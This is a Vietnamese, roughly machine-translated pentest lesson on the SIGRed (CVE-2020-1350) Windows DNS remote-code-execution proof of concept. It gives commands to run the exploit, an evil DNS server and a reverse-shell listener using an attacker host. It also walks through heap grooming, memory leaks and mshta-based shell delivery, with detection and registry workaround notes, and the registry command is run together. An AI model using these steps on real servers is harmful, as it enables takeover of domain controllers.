PoC “exploit” SigRed (CVE-2020-1350)

Bài học bổ sung cho lớp PENTEST +

Nguồn https://www.hackplayers.com/2021/03/poc-para-explotar-sigred-cve-2020-1350.html
Chompie
  cung cấp cho chúng ta một mã khai thác python RCE khai thác Sigred, bạn biết đấy, lỗ hổng nghiêm trọng trong máy chủ Windows DNS (CVE-2020-1350) có điểm CVSS 10/10.

Hãy xem repo tại: https://github.com/chompie1337/SIGRed_RCE_PoC

Kẻ tấn công sẽ thiết lập một miền độc hại có bản ghi NS trỏ đến máy chủ của hắn. Đối với PoC này, chúng ta chỉ cần cấu hình một trình chuyển tiếp có điều kiện New Conditional Forwarder như hình trên máy nạn nhân để chuyển tiếp các yêu cầu “miền xấu” tới máy tấn công. 

Sau đó, trên máy của kẻ tấn công (được thử nghiệm trên máy ảo Ubuntu 20.04.1), một máy chủ Apache được cấu hình để nạn nhân tải xuống HTA từ trình bao ngược (reverse shell).

sudo python3 configure.py -ip IP_ATTACKER -p PORT_REVERSE_SHELL -hp PORT_APACHE_SERVER (default 80)

Bây giờ để thực hiện khai thác, chúng ta sẽ phải làm điều đó với sudo, vì chúng ta cần lắng nghe trên các cổng TCP và UDP 53:

sudo python3 evildns.py

Sau đó, chúng ta khởi chạy:

python3 exploit.py -ip WINDNS_VICTIM_IP -d EVIL_DOMAIN

Và chúng ta định cấu hình trình nghe cho trình bao ngược lại:

python3 reverse_shell/server.py -p PORT_REVERSE_SHELL

HTA là phiên bản sửa đổi của: https://github.com/freshness79/HTA-Shell
Cần lưu ý rằng shell không thông báo khi có kết nối đến, vì vậy chúng ta sẽ phải viết lệnh

Các phiên bản được hỗ trợ

Khai thác sẽ Đã thử nghiệm trên Windows Server 2019, 2016, 2012R2 và 2012 (phiên bản x64). Phần bù cho một số phiên bản của dns.exe và msvcrt.dll nằm trong tệp offset.py. Danh sách này không bao gồm tất cả mọi thứ, vì vậy nếu phiên bản bạn đang thử nghiệm không có phần bù thì nó cũng có thể được thêm vào đó theo cách thủ công.

Ánh xạ bù đắp dns.exe: (12 bit bù đắp cuối cùng cho dns! RR_Free, dns! `string`): (offset cho dns! RR_Free, dns! nsecDnsRecordConvert, dns! _imp_exit)
Ánh xạ bù đắp msvcrt.dll :: (12 bit bù đắp cuối cùng cho msvcrt! exit): (offset cho msvcrt! exit, offset cho msvcrt! system)

Lưu ý: Trong trường hợp xung đột bù đắp , bạn sẽ phải lựa chọn bạn chọn bộ hiệu số nào. Dịch vụ DNS sẽ khởi động lại sau khoảng 5 phút, tối đa hai lần sau sự cố. Evildns.py phải được khởi động lại sau mỗi lần thử. Việc khai thác ổn định nên khả năng cao xảy ra tình trạng khai thác “mù quáng”.

Khai thác và phát hiện giải pháp thay thế

PoC này bao gồm quy tắc Đồ thị để phát hiện việc khai thác SigRed. Để thực hiện một quy tắc trong SIEM tương ứng, bạn phải tìm kiếm các quy trình con không hợp lệ của dns.exe.

Nếu không thể vá, có một giải pháp thay thế:

reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\DNS\Parameters" /v "TcpReceivePacketSize" /t REG_DWORD /d 0xFF00 /fnet stop DNS && net start DNS

Khai thác chi tiết kỹ thuật / bản ghi : https://www.graplsecurity.com/post/anatomy-of-an-exploit-rce-with-cve-2020-1350-sigred

Anatomy of a Exploit: RCE with CVE-2020-1350 SIGRed

Bởi: Valentina Palmiotti ( @chompie ), Trưởng nhóm nghiên cứu bảo mật

Tại Grapl , chúng tôi tin rằng để xây dựng hệ thống phòng thủ tốt nhất, chúng tôi cần hiểu sâu sắc về các hành vi của kẻ tấn công. Là một phần của mục tiêu đó, chúng tôi đang đầu tư vào nghiên cứu bảo mật tấn công. Cập nhật blog của chúng tôi để có nghiên cứu mới về các lỗ hổng có nguy cơ cao, khai thác và các chiến thuật đe dọa nâng cao.

RCE PoC cho CVE-2020-1350 SIGRed có thể được tìm thấy tại đây: https://github.com/chompie1337/SIGRed_RCE_PoC

Tổng quat

SIGRed, CVE-2020-1350, là một lỗ hổng trong dịch vụ Microsoft Windows DNS được tiết lộ vào ngày 14 tháng 7 năm 2020. Nó được phát hiện bởi Sagi Tzadik, của Check Point Research [1] , người đã phát hành một bài viết chuyên sâu về lỗi vào ngày bản vá được phát hành. Lỗ hổng bảo mật nhận được điểm CVSS là 10,0, mức độ nghiêm trọng cao nhất. Trên Windows, máy chủ DNS là Bộ điều khiển miền và Quản trị viên của nó là một phần của nhóm Quản trị viên miền. Theo mặc định, nhóm quản trị viên miền là thành viên của nhóm quản trị viên trên tất cả các máy tính đã tham gia miền, bao gồm cả bộ điều khiển miền [8]. Nếu được khai thác cẩn thận, những kẻ tấn công có thể thực thi mã từ xa trên hệ thống dễ bị tấn công và giành được quyền Quản trị miền, gây ảnh hưởng hiệu quả đến toàn bộ cơ sở hạ tầng của công ty. Bản viết này chứa một bản phân tích chi tiết về các phương pháp khai thác được sử dụng trong bằng chứng khái niệm đã phát hành [2] .

Lỗ hổng bảo mật

CVE-2020-1350 là một lỗ hổng bảo mật tràn số nguyên dẫn đến tràn bộ đệm dựa trên heap khi xử lý các bản ghi tài nguyên DNS SIG không đúng định dạng . Bản ghi SIG là một loại bản ghi tài nguyên DNS có chứa chữ ký số cho một tập hợp bản ghi (một hoặc nhiều bản ghi DNS có cùng tên và kiểu) [10]. Để khai thác SIGRed, kẻ tấn công có thể định cấu hình miền “xấu” có NS ghi lại các điểm đến một máy chủ DNS độc hại. Khi một máy khách thực hiện một truy vấn DNS cho miền “zấu” đối với máy chủ nạn nhân, máy chủ nạn nhân sẽ truy vấn máy chủ DNS phía trên nó. Máy chủ DNS sẽ phản hồi lại bằng một bản ghi NS cho biết rằng máy chủ DNS độc hại là cơ quan cho miền đó và bản ghi sẽ được nạn nhân lưu vào bộ nhớ đệm. Sau đó, khi máy khách gửi cho nạn nhân một truy vấn DNS SIG cho miền, máy chủ nạn nhân sẽ truy vấn máy chủ DNS độc hại. Máy chủ DNS độc hại sẽ gửi một bản ghi DNS SIG không đúng định dạng dưới dạng phản hồi.

Cách kẻ tấn công có thể khai thác SIGRed

Lỗ hổng có trong hàm dns! SigWireRead (trong tệp nhị phân của dịch vụ DNS, dns.exe ), được sử dụng để lưu vào bộ đệm phản hồi bản ghi DNS SIG từ một máy chủ DNS khác.

Giải mã chức năng dễ bị tấn công, dns! SigWireRead

Tham khảo dòng 11 trong phần biên dịch của hàm dễ bị tấn công dns! SigWireRead. Hàm RR_AllocateEx được truyền vào một số nguyên không dấu 16 bit cho tham số kích thước. Có thể gửi phản hồi bản ghi DNS SIG sao cho kích thước được tính toán lớn hơn 0xFFFF, điều này gây ra tràn số nguyên.

Kích hoạt Lỗ hổng bảo mật

Do hạn chế về kích thước gói, không thể kích hoạt lỗ hổng bằng cách chỉ gửi một bản ghi SIG với một chữ ký rất lớn. Trên thực tế, việc kích hoạt lỗ hổng bảo mật là không thể qua UDP, vì kích thước tối đa cho phép của thông báo DNS qua UDP là 512 hoặc 4096 byte, tùy thuộc vào việc máy chủ có hỗ trợ EDNS0 hay không . Trong cả hai trường hợp, nó không đủ để kích hoạt lỗ hổng bảo mật. Sử dụng cắt ngắn DNS [9] , máy chủ DNS độc hại có thể yêu cầu máy chủ nạn nhân thử lại yêu cầu qua TCP. Tổng kích thước giới hạn của thông báo DNS qua TCP là 64KB (0xFFFF). Điều này vẫn chưa đủ để kích hoạt lỗ hổng, vì giới hạn thông báo bao gồm không gian cho tiêu đề và truy vấn ban đầu.

Nén tên DNS

Tên DNS có thể và thường được nén trong một thông báo DNS. Bằng cách thao tác nén tên trong thông báo DNS qua TCP, có thể tăng cường độ dài sigName mà không làm tăng tổng kích thước của thông báo DNS.

Nén tên DNS trong gói tin nhắn DNS

Trong ví dụ trên, byte 0xC0 (được đánh dấu trong hộp màu xanh lá cây ở trên) có hai bit quan trọng nhất được đặt. Điều này chỉ ra rằng 14 bit sau đại diện cho phần bù của tên DNS, liên quan đến phần bắt đầu của thông báo DNS. Trong ví dụ hình trên, nó là 0xC byte (được đánh dấu trong hộp màu xanh lam) kể từ đầu thư.

Tên DNS được mã hóa như sau: một byte đơn biểu thị số ký tự trước dấu ‘.’ ký tự, kết thúc bằng byte rỗng. Ví dụ: http://www.google.com có thể được mã hóa thành:

cho biết rằng tên bao gồm một chuỗi 3 byte, một dấu chấm, 6 byte, một dấu chấm và sau đó ba byte được kết thúc bằng giá trị rỗng.

Trong trường hợp được mô tả trong chụp gói ở trên, phần bù trỏ đến 0x1, vì miền được yêu cầu bắt đầu bằng ‘9.’. Do đó, nếu chúng ta thay đổi 14 bit sau từ 0x0C thành 0x0D, phần bù tên DNS sẽ trỏ đến 0x39, cho biết rằng phần tiếp theo của tên DNS là 0x39 byte chuyển tiếp, mở rộng thành phần chữ ký của gói. Bằng cách này, chúng ta có thể đánh lừa dịch vụ Windows DNS tính toán kích thước tên DNS lớn hơn nhiều so với số byte thực tế được sử dụng để đại diện cho tên DNS.

Như đã thấy trong phần dịch ngược của dns! SigWireRead , tổng kích thước được chuyển đến RR_AllocateEx được tính là: signatureLength + sigName.Length + 0x14 . Độ dài tối đa cho tên DNS là 0xFF byte. Các byte bổ sung từ độ dài tên giả đủ để kích hoạt lỗ hổng bảo mật và cũng ở dưới kích thước thư tối đa là 65KB!

Để được giải thích chi tiết hơn về lỗ hổng và cách kích hoạt nó, bao gồm cả cách kích hoạt nó từ trình duyệt, vui lòng xem bài viết gốc của Nghiên cứu Điểm Kiểm tra [1] .

Khai thác

Đây là lần đầu tiên tôi viết khai thác RCE ở chế độ người dùng và tôi đã học được rất nhiều về khai thác dựa trên heap. Tôi hy vọng rằng bài viết này sẽ giúp ích cho những người quan tâm đến việc học cách khai thác đống.

Chiến lược khai thác cho lỗi này rất thú vị vì nó yêu cầu cả máy khách và máy chủ độc hại. Nó cũng phụ thuộc vào thao tác đống cẩn thận để không chỉ đạt được RCE mà còn làm cho việc khai thác trở nên đáng tin cậy. Phần này sẽ mô tả tất cả các phần cần thiết và chỉ ra cách chúng được sử dụng cùng nhau để có được RCE trên máy chủ nạn nhân.

Kích hoạt Lỗ hổng bảo mật mà không bị va chạm

Phần tốn thời gian nhất của việc khai thác này là hiểu được cách chính xác để thao tác đống. Phần này sẽ tập trung vào các chi tiết của việc chải chuốt heap để tránh sự cố và kiểm soát việc giải phóng và phân bổ bộ đệm heap.

Trình quản lý đống WinDNS

Đầu tiên cần phải hiểu cách dịch vụ WinDNS quản lý bộ nhớ heap. Dịch vụ WinDNS quản lý các vùng bộ nhớ của riêng nó [3] . Nếu kích thước yêu cầu của bộ đệm lớn hơn 0xA0 byte, nó sẽ yêu cầu bộ nhớ từ trình quản lý heap gốc của Windows ( HeapAlloc ). Nếu không, nó sẽ sử dụng nhóm bộ nhớ (kích thước 0x50, 0x68, 0x88 và 0xa0). Các bộ đệm trong mỗi nhóm được lưu trữ trong một danh sách được liên kết riêng. Nếu không còn bộ đệm nào khả dụng trong nhóm đã chọn, một đoạn bộ nhớ sẽ được yêu cầu từ heap gốc, được chia thành các bộ đệm riêng biệt, sau đó được thêm vào danh sách của nhóm tương ứng. Đối với bộ đệm có kích thước 0x50, 0x68, 0x88 và 0xA0, các phần bộ nhớ có kích thước 0xFF0, 0xFD8, 0xFF0 và 0xFA0 được yêu cầu tương ứng.

Dịch ngược gần đúng của dns! Mem_Alloc

Khi bộ đệm trong một trong các nhóm bộ nhớ được giải phóng, chúng sẽ không được trả về vùng nguyên gốc của Windows. Thay vào đó, chúng được thêm trở lại danh sách các bộ đệm có sẵn cho nhóm đó. Bộ đệm được cấp phát trên cơ sở Cuối cùng vào-Đầu ra (LIFO), có nghĩa là bộ đệm cuối cùng được giải phóng sẽ là bộ đệm tiếp theo được cấp phát.

Dịch ngược gần đúng của dns! Mem_Free

Cấu trúc bộ đệm WinDNS

Cấu trúc của bộ đệm WinDNS như sau:

Điều này sẽ trở nên hữu ích trong quá trình khai thác.

Tránh lỗi phân đoạn trong memcpy

Vấn đề đầu tiên tôi chạy vào khi viết khai thác của tôi, là một lỗi segmentation xảy ra trong memcpy của chữ ký lớn vào phân bổ đệm đống dựa. Tôi phải đảm bảo rằng toàn bộ byte tràn đã được sao chép vào một địa chỉ bộ nhớ hợp lệ.

Trong khi điều tra bố cục heap, tôi thấy rằng trình quản lý heap gốc của Windows đã phân bổ các khối bộ nhớ nhóm trong phân đoạn heap “nội bộ” có kích thước 0x41FD0-0x41FF0. Theo quan sát của tôi, các phân đoạn heap này chỉ chứa các phần bộ nhớ được sử dụng cho nhóm bộ nhớ WinDNS. Vì vậy, nếu chúng tôi đảm bảo kích thước của bộ đệm bị tràn nhỏ hơn 0xA0, chúng tôi có thể chắc chắn rằng nó sẽ nằm trong một trong những phần này.

Đống phân đoạn chứa các khối bộ nhớ WinDNS sau khi phun đống

Bộ đệm này sẽ ở đâu đó bên trong một phân đoạn heap có kích thước ~ 0x41ff0. Tổng số byte cần thiết nhiều hơn một chút so với 0xFFFF. Do đó xác suất toàn bộ phần tràn kết thúc tại địa chỉ bộ nhớ hợp lệ là tương đối cao.

Tạo lỗ

Chúng tôi có thể đảm bảo cơ hội hạ cánh tại một địa chỉ bộ nhớ hợp lệ nếu chúng tôi có thể kích hoạt giải phóng bộ đệm ở giữa nhiều phân đoạn heap liền kề, phân bổ lại nó và làm tràn bộ đệm. Đây là một kỹ thuật phổ biến trong khai thác đống.

Trong trường hợp này, chúng tôi có thể giải phóng bộ đệm bằng cách thực hiện truy vấn tới máy khách nạn nhân và máy chủ DNS độc hại của chúng tôi trả lại phản hồi bằng một TTL ngắn (Time-To-Live). Tương tự, chúng tôi có thể đảm bảo bộ đệm bản ghi đã lưu trong bộ nhớ cache sẽ không được giải phóng bằng cách gán một TTL dài. Các bản ghi hết hạn được giải phóng sau mỗi ~ 2 phút.

Máy chủ DNS độc hại kiểm soát TTL, có thể được sử dụng để chỉnh sửa đống

Quá trình tạo một lỗ trên đống và phân bổ lại nó có một số bước cơ bản:

  • Thực hiện nhiều truy vấn cho các tên miền phụ của tên miền xấu tới máy chủ nạn nhân.
  • Máy chủ DNS độc hại sẽ cung cấp cho nạn nhân một phản hồi, mà nạn nhân sẽ lưu vào bộ nhớ heap (heap spray).
  • Máy chủ DNS độc hại sẽ chỉ định một TTL dài (Time-To-Live) cho tất cả các miền phụ ngoại trừ một miền phụ, sẽ được cấp một TTL ngắn.
  • WinDNS giải phóng bộ đệm cho các bản ghi đã hết hạn sau mỗi ~ 2 phút, vì vậy chúng tôi đợi bộ đệm được giải phóng.
  • Thực hiện một truy vấn khác cho miền phụ có bản ghi SIG vừa hết hạn; lúc này máy chủ DNS độc hại sẽ đưa ra phản hồi không đúng định dạng để kích hoạt lỗi tràn.
  • Bởi vì bộ đệm được cấp phát LIFO, bộ đệm bản ghi mới sẽ có cùng địa chỉ của bản ghi SIG đã hết hạn trong bộ nhớ.

Tạo một lỗ trên đống để tránh SEGFAULT

Tránh sự cố do ghi đè các đối tượng khác trên đống

Trong khi tôi đã có thể lỗi tránh Phân khúc đáng tin cậy trong memcpy , tôi vẫn gặp nhiều tai nạn khác ghi đè lên các đối tượng trên heap.

Sự cố do ghi đè các nút cây bộ nhớ cache

Tôi quyết định xem trong WinDbg để xem loại bộ đệm nào đang được cấp phát gần bộ đệm bị tràn.

Theo dõi phân bổ bộ nhớ trong Windbg

Tôi có thể thấy rằng các phần bộ nhớ WinDNS mới có kích thước 0xFF0 và 0xFA0 đang được cấp phát gần bộ đệm heap mà tôi đã làm tràn. Sau đó là kết quả của việc phun đống (bộ đệm bản ghi có kích thước 0xA0). Nhưng những gì về khối có kích thước 0xFF0? Các bộ đệm này chứa kích thước 0x88, được sử dụng để lưu trữ các đối tượng liên quan đến bộ đệm bản ghi DNS, được lưu dưới dạng cây nhị phân. Tôi đã ghi đè các đối tượng cây trong bộ nhớ cache và gây ra sự cố khi cây được duyệt qua.

Giải pháp đã trở nên rõ ràng vào thời điểm này. Hãy nhớ rằng bộ đệm bị tràn nằm trong một phân đoạn heap chỉ được chia sẻ bởi các phần bộ nhớ được quản lý WinDNS khác. Điều này có nghĩa là các đối tượng đang được ghi đè có kích thước <= 0xA0 và vừa với một trong các nhóm bộ nhớ do WinDNS quản lý. Chúng tôi biết rằng các bộ đệm trong các nhóm bộ nhớ này không bao giờ được giải phóng trở lại vùng nguyên gốc, và thay vào đó được trả về danh sách bộ đệm miễn phí có kích thước nhóm tương ứng. Vì vậy, chúng tôi có thể chuẩn bị đống bằng cách buộc phân bổ nhiều bộ đệm có kích thước 0x88 và khiến chúng được giải phóng. Khi chúng được giải phóng, chúng sẽ được đưa trở lại danh sách bộ đệm miễn phí, tránh phải cấp phát bộ nhớ heap mới. Sau đó, chúng tôi có thể phun đống với nhiều bộ đệm sẽ không được giải phóng để đảm bảo bộ đệm mà chúng tôi làm tràn sẽ nằm trong một phân đoạn đống mới cách xa các đối tượng mà chúng tôi không muốn ghi đè.

Rà soát đống để tránh ghi đè lên các đối tượng quan trọng trong đống

Ghi đè các đối tượng trong đống

Bây giờ chúng ta đã chuẩn bị đầy đủ cho heap để tránh sự cố, bước tiếp theo là ghi đè các đối tượng heap sẽ tạo ra các nguyên thủy khai thác. Trong phần trước, chúng tôi đã tạo một lỗ cho bộ đệm bị tràn. Với lỗ hổng này, chúng tôi được thiết lập để ghi đè lên các bản ghi được lưu trong bộ nhớ cache “vứt đi” mà chúng tôi đã rải vào đống.

Biết xung quanh của bạn

Bởi vì chúng tôi phun đống, nhiều phần bộ nhớ mới sẽ được cấp phát. Các bộ đệm này được thêm liền kề với người viết tự do, có nghĩa là chúng được phân bổ theo thứ tự liền kề. Do đó, thứ tự mà các truy vấn bản ghi DNS SIG được thực hiện sẽ là thứ tự mà chúng xuất hiện trên heap. Vì vậy, chúng tôi biết chính xác những bản ghi nào sẽ được ghi đè trong quá trình tràn.

Ghi đè các đối tượng RR_Record bằng các đối tượng giả mạo

Cấu trúc RR_Record

Đầu tiên, hãy xem cấu trúc của một bản ghi WinDNS được lưu trong bộ nhớ cache:

Biết được điều này và cấu trúc của WINDNS_BUFF sẽ giúp bạn dễ dàng tạo các đối tượng RR_Record giả .

Kiểm soát giải phóng bộ đệm

Trước đây, chúng tôi đã giải phóng các bộ đệm bản ghi theo lựa chọn của chúng tôi bằng cách chỉ cần cung cấp cho chúng một TTL ngắn và đợi chúng hết hạn và được giải phóng. Điều này là tốt, nhưng chờ đợi ít nhất hai phút là một vấn đề. Không phải vì chúng ta thiếu kiên nhẫn, mà vì nó cho phép chúng ta kiểm soát ít hơn trong việc phân bổ lại. Nó sẽ hữu ích để có thể kích hoạt giải phóng bộ đệm ngay lập tức.

Khi một đối tượng RR_Record được truy xuất từ ​​bộ đệm để trả lời một truy vấn, các trường dwTTLdwTimeStamp sẽ được kiểm tra trước khi trả về phản hồi. Điều này là do có thể TTL của bản ghi đã hết hạn. Hãy nhớ rằng, bộ nhớ cache của bản ghi chỉ được dọn dẹp sau mỗi 2 phút. Có thể một bản ghi đã hết hạn giữa các lần dọn dẹp. Chúng ta có thể lạm dụng điều này bằng cách loại bỏ các trường dwTTLdwTimeStamp trong một đối tượng RR_Record giả và gửi một truy vấn cho miền phụ tương ứng. Điều này sẽ làm cho bộ đệm được giải phóng.

Kiểm soát phân bổ bộ đệm

Giờ đây, việc kiểm soát phân bổ bộ đệm được thực hiện thẳng. Vì bộ đệm WinDNS được cấp phát LIFO, một khi chúng ta giải phóng một bộ đệm, thì kích thước nhóm tiếp theo sẽ được cấp phát. Thậm chí tốt hơn, vì chúng tôi cũng kiểm soát các giá trị trong cấu trúc WINDNS_BUFF, chúng tôi có thể giả mạo kích thước của bộ đệm ban đầu! Điều này có nghĩa là chúng ta có thể phân bổ các đối tượng có kích thước khác nhau trong khu vực của heap mà chúng ta kiểm soát.

Kiểm soát việc phân bổ các bộ đệm có kích thước khác nhau

Rò rỉ bộ nhớ

Rò rỉ địa chỉ đống

Bây giờ chúng tôi có thể rò rỉ một địa chỉ trong heap bằng cách làm như sau:

  • Kích hoạt giải phóng RR_Record giả .
  • Cung cấp cho RR_Record giả ở trên một cái đã được giải phóng một wRecordSize lớn .
  • Gửi cho nạn nhân một truy vấn SIG cho miền phụ với wRecordSize lớn giả mạo .
  • Phản hồi sẽ vượt qua kích thước thực của bộ đệm và bao gồm dữ liệu cấu trúc WINDNS_FREE_BUFF của bản ghi đã giải phóng bên dưới nó. Điều này làm rò rỉ địa chỉ heap hợp lệ trong trường pNextFreeBuff .

Rò rỉ một con trỏ heap bằng cách sử dụng các đối tượng RR_Record giả mạo

Tuyệt vời, chúng tôi đã có được bộ nhớ rò rỉ đầu tiên Tuy nhiên, chúng tôi thực sự không biết con trỏ bị rò rỉ có liên quan đến khu vực của heap mà chúng tôi kiểm soát ở đâu. Sẽ tốt hơn nữa nếu chúng ta có thể lấy được địa chỉ của bộ đệm bị tràn của chúng ta. Để thực hiện việc này, chúng tôi chỉ cần giải phóng hai đối tượng RR_Record giả mạo và làm rò rỉ WINDNS_FREE_BUFF của bộ đệm mà chúng tôi đã giải phóng lần trước. Khi một bộ đệm được giải phóng, con trỏ tới bộ đệm đã được giải phóng trước khi nó được ghi vào trường pNextFreeBuff .

Rò rỉ một con trỏ đến phần có thể kiểm soát của đống

Bây giờ chúng tôi biết địa chỉ chính xác của một phần trong đống mà chúng tôi kiểm soát! Điều này sẽ hữu ích sau này.

Rò rỉ địa chỉ dns.exe

Tiếp theo, chúng ta cần rò rỉ một địa chỉ bên trong dns.exe để đánh bại ASLR [5] . Để làm rò rỉ địa chỉ bên trong dns.exe , chúng tôi có thể kích hoạt cấp phát một loại đối tượng đặc biệt mà tôi sẽ gọi là đối tượng DNS_Timeout .

Một DNS_TimeOut đối tượng có cấu trúc sau:

Khi bản ghi DNS hết hạn, dns! RR_Free được gọi. Nếu bản ghi DNS là loại DNS_TYPE_NS , DNS_TYPE_SOA , DNS_TYPE_WINS hoặc DNS_TYPE_WINSR [6] thì chúng sẽ không được giải phóng ngay lập tức. Thay vào đó, dns! Timeout_FreeWithFunctionEx được gọi.

Dịch ngược gần đúng của dns! RR_Free

Trong Timeout_FreeWithFunctionEx , bộ đệm WinDNS được cấp phát cho đối tượng DNS_Timeout . Sau đó, địa chỉ của RR_Free và một chuỗi được ghi vào các trường pFreeFunctionpszFile tương ứng. Đây sẽ là những rò rỉ địa chỉ dns.exe của chúng tôi . Nếu chúng ta kích hoạt phân bổ một đối tượng timeout trong khu vực của heap mà chúng ta kiểm soát, chúng ta có thể sử dụng phương pháp tương tự như trước đây để làm rò rỉ địa chỉ.

Giải mã dns! Timeout_FreeWithFunctionEx

Chúng tôi kích hoạt phân bổ đối tượng bằng cách giải phóng đối tượng RR_Record giả với kích thước bộ đệm giả là 0x50, là kích thước bộ nhớ nhóm được phân bổ cho đối tượng DNS_Timeout. Sau đó, chúng tôi thực hiện một số truy vấn NS cho nạn nhân về miền ác. Một đối tượng thời gian chờ sẽ được phân bổ cho mỗi truy vấn khi các bản ghi hết hạn. Cần thực hiện một số truy vấn này trong trường hợp các bộ đệm mới có kích thước 0x50 đã được giải phóng trong khi chờ các bản ghi NS hết hạn. Chúng ta lại có thể làm rò rỉ bộ nhớ bằng cách yêu cầu bản ghi đã lưu trong bộ nhớ cache phía trên nó, với một wRecordSize lớn giả mạo .

Rò rỉ địa chỉ dns.exe bằng cách cấp phát đối tượng DNS_Timeout

Bây giờ chúng ta đã rò rỉ địa chỉ bên trong dns.exe , chúng ta có thể sử dụng chúng để tính toán địa chỉ của các hàm bên trong tệp nhị phân. Bằng cách lấy 12 bit cuối cùng của các địa chỉ bị rò rỉ, chúng ta có thể tạo ánh xạ tới các phần bù cho các phiên bản dns.exe khác nhau .

Ban đầu, tôi nghĩ rằng tôi có thể kích hoạt phân bổ đối tượng thời gian chờ bằng cách giải phóng đối tượng RR_Record giả mạo với wRecordType = DNS_TYPE_NS . Như vậy, tránh phải chờ 2 phút cho hồ sơ NS hết hạn sử dụng. Tuy nhiên, khi tôi cố gắng thực hiện việc này, một số kiểm tra đã ngăn chặn cuộc gọi đến RR_Free trên fakeRR_Record với một wRecordType đã sửa đổi . Tôi đã hết thời gian trong khi điều tra vấn đề, vì vậy đây là một lĩnh vực tiềm năng để cải thiện.

Đọc tùy ý

Cuối cùng, chúng tôi có tất cả các phần cho một nguyên thủy có thể đọc tùy ý.

Lưu ý rằng chúng tôi đã có khả năng thực thi mã bằng cách ghi đè con trỏ pFreeFunction trong đối tượng DNS_timeout đã được cấp phát. Trong hàm dns! Timeout_CleanupDelayedFreelist , địa chỉ hàm trong pFreeFunction được gọi cho mỗi đối tượng timeout trong CoolingDelayedFreeList . Danh sách này chứa các đối tượng DNS_Timeout đại diện cho các bản ghi đã sẵn sàng được giải phóng. May mắn thay, một đối tượng DNS_Timeout chứa một trường cho một tham số được chuyển cho hàm này.

Dịch ngược gần đúng cho dns! Timeout_CleanupDelayedFreeList

Chúng ta có thể kích hoạt lại lỗ hổng sau khi đối tượng timeout được phân bổ để ghi đè các trường này.

Các phiên bản hiện đại của dns.exe được biên dịch với Control Flow Guard (CFG) [4] . Một cách đã biết để vượt qua CFG là làm hỏng các địa chỉ trả về trên ngăn xếp [11] và thực thi bằng phương thức ROP [7] . Tuy nhiên, chúng tôi hiện không có cách ổn định để ghi vào ngăn xếp. Thay vào đó, chúng ta có thể tìm thấy một mục tiêu cuộc gọi hợp lệ (tức là một hàm trong dns.exe ) để sử dụng cho một nguyên thủy. Một ứng cử viên phù hợp là dns! NsecDnsRecordConvert , nhận một tham số [3] .

Một tham số cho NsecDnsRecordConvert phải có cấu trúc sau:

Bên trong hàm này, một bộ đệm được cấp phát và một lệnh gọi đến Dns_StringCopy được thực hiện. Đây là nơi mà những gì sơ khai đọc nằm. Vì chúng tôi kiểm soát tham số hàm được truyền vào và nội dung của nó, chúng tôi có thể đặt trường pDnsString thành một địa chỉ mà chúng tôi muốn đọc. Bên trong DNS_StringCopy , một bộ đệm được cấp phát và dữ liệu được trỏ tới bởi pDnsString (cho đến khi một byte rỗng) được sao chép vào.

Giải mã dns! NsecDnsRecordConve rt

Vì chúng tôi cũng kiểm soát wSize , chúng tôi kiểm soát kích thước của bộ đệm được cấp phát. Vì vậy, chúng tôi buộc phân bổ bộ đệm mới vào khu vực của heap mà chúng tôi kiểm soát. Sau khi dữ liệu đã được sao chép, chúng tôi rò rỉ bộ nhớ bằng cách sử dụng phương pháp tương tự như trước đây.

Tùy tiện đọc nguyên thủy

Địa chỉ chúng ta đọc phải ở đâu đó trong bảng nhập dns.exe có chứa địa chỉ từ msvcrt.dll . Tôi chọn dns! _Imp_exit trong đó có địa chỉ để MSVCRT lối ra! . Điều này sẽ phá vỡ ASLR của msvcrt.dll . Với điều này, chúng ta có thể tính toán địa chỉ của hệ thống msvcrt ! .

Lưu ý: Dns_StringCopy dự kiến ​​sao chép một chuỗi kết thúc bằng null. Nếu byte quan trọng nhất của địa chỉ là 0x00, kích thước của chuỗi được tính toán sẽ là 1 và địa chỉ sẽ không được sao chép. Trong các mẫu tôi nhận được, đây không phải là vấn đề, nhưng tôi đã không kiểm tra tất cả các phiên bản có thể có của msvcrt.dll .

Thực thi mã từ xa

Tất cả các phần hiện đã sẵn sàng để thực thi mã từ xa. Chúng tôi lại có thể kích hoạt phân bổ đối tượng DNS_Timeout . Sau đó, chúng tôi ghi đè pFreeFunction bằng msvcrt! SystempFreeFuncParam với một địa chỉ heap vào bộ nhớ có chứa lệnh payload. Để có được một trình bao đảo ngược, tôi đã chọn sử dụng mshta.exe để thực thi một trình bao HTA từ một máy chủ HTTP được lưu trữ của kẻ tấn công. Tôi thấy đây là giải pháp dễ dàng nhất, nhưng có nhiều khả năng khác. Việc khai thác cũng có thể được làm lại để sử dụng bất kỳ (các) chức năng nào khác thay vì hệ thống .https://www.youtube.com/embed/yiqLmfQCqeY?autoplay=0&mute=0&controls=1&origin=https%3A%2F%2Fwww.graplsecurity.com&playsinline=1&showinfo=0&rel=0&iv_load_policy=3&modestbranding=1&enablejsapi=1&widgetid=1

SIGRed RCE Exploit Demo Video | https://youtu.be/yiqLmfQCqeY

Phát hiện khai thác và khắc phục cách giải quyết

PoC được phát hành bao gồm quy tắc Đồ thị để phát hiện việc khai thác SIGRed. Để triển khai quy tắc cho SIEM ưa thích của bạn, hãy tìm các quy trình con không hợp lệ của dns.exe. Lưu ý rằng quy tắc này sẽ chỉ phát hiện khai thác với các khai thác PoC và DoS đã phát hành. Có thể kẻ tấn công có thể làm lại việc khai thác để thực hiện một trọng tải vẫn được chứa trong ngữ cảnh quy trình dns.exe. Tìm hiểu cách Grapl có thể giúp giữ an toàn cho cơ sở hạ tầng của bạn.

Nếu không thể vá lỗi, có một bản sửa lỗi thay thế:

Giải pháp ngăn chặn khai thác bằng cách giới hạn kích thước thông báo nhận DNS TCP ở 0xFF00 byte. Điều này ngăn chặn sự tràn số nguyên xảy ra khi tính toán kích thước bộ đệm cần thiết để lưu vào bộ nhớ cache một bản ghi SIG .

Phần kết luận

Bài đăng trên blog này là một phần trong sáng kiến ​​của Grapl nhằm tăng cường các kỹ thuật phòng thủ bằng cách đầu tư vào nghiên cứu bảo mật tấn công. Nếu bạn thích bài đăng này, vui lòng đăng ký các bản cập nhật của Grapl để biết thêm!

Sự nhìn nhận

Sagi Tzadik của nghiên cứu CheckPoint, để phát hiện và ghi lại lỗ hổng ban đầu .

maxpl0it , người đã viết DoS PoC công khai đầu tiên cho lỗi này và đã trả lời rất nhiều câu hỏi của tôi. Anh ấy cũng vui lòng cung cấp cho tôi một số ghi chú nghiên cứu của anh ấy. Khai thác của tôi sử dụng mã từ PoC của anh ấy làm cơ sở.

